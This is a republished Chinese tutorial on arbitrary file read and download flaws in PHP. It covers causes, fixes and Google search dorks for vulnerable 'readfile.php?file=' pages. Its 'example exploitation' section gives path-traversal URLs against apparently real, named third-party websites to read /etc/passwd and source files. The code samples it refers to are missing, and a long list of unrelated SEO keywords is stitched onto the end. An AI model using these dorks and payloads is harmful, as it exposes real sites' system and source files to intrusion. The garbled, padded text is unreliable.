任意文件读取与下载
发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,0x00 背景介绍一些网站的业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可以是源文件,敏感文件等等0x01 文件读取文件读取在PHP这种可以
千家信息网最后更新 2026年11月01日任意文件读取与下载
0x00 背景介绍
一些网站的业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可以是源文件,敏感文件等等
0x01 文件读取
文件读取在PHP这种可以有很多种方式实现,在web的默认情况下,$filename变量可能用户可控
#当变量 $filename 没有经过校验,或者校验不严格,用户可以控制这个变量读取任意文件,例如/etc/passwd、/config.ini 等文件
0x02 实现文件下载的两种方式
1.直接下载:
2.增加header头
当$filename没有经过校验,或者校验不合格,用户可以控制这个变量下载任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下载漏洞。
0x03 成因
都有读取文件的函数
读物文件的路径用户可控,且没有经过校验,或者校验不严格
都输出文件内容
0x04 Google Serch
inurl:"readfile.php?file="inurl:"download.php?file="
0x05 修复方案
过滤<.>(点)
正则判断用户输入的参数格式,匹配输入的格式是否合格
php.ini配置open_basedir
0x06 实例漏洞利用
(仅供测试,请勿随意破坏)
地址:
url:http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt
漏洞利用:
http://hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd
地址:
url:http://storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf
漏洞利用
http://www.wodehouse.se/upload/readfile.php?file=../index.php
文件
用户
变量
漏洞
地址
文件下载
方式
格式
控制
输入
业务
内容
函数
功能
参数
实例
情况
成因
方案
正则
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
互联网科技股
云信互联网科技有限公司
互联网科技资迅
互联网中国科技
互联网科技开发公司
礼当家互联网科技
互联网科技股票
上游互联网科技
盛创互联网科技有限公司
北京大学互联网科技怎么样
中国科技互联网公司收入
世界互联网科技公司市值排名
互联网科技与大数据专业
广西互联网科技孵化中心
互联网金融科技元年
福州德业互联网科技
美国五大互联网科技公司市值多少
广西泛欧互联网科技有限公司
互联网科技大佬云集
互联网大会出现的黑科技
华服互联网科技靠谱吗
新华互联网科技
人人互联网科技是培训
成都互联网科技公司工作好不好
互联网科技大奖都有哪些公司
互联网金融科技名词解释
上海钢联属于互联网科技股吗
国产互联网科技公司
东风日产互联网科技公司叫什么
高科技和互联网的现代国家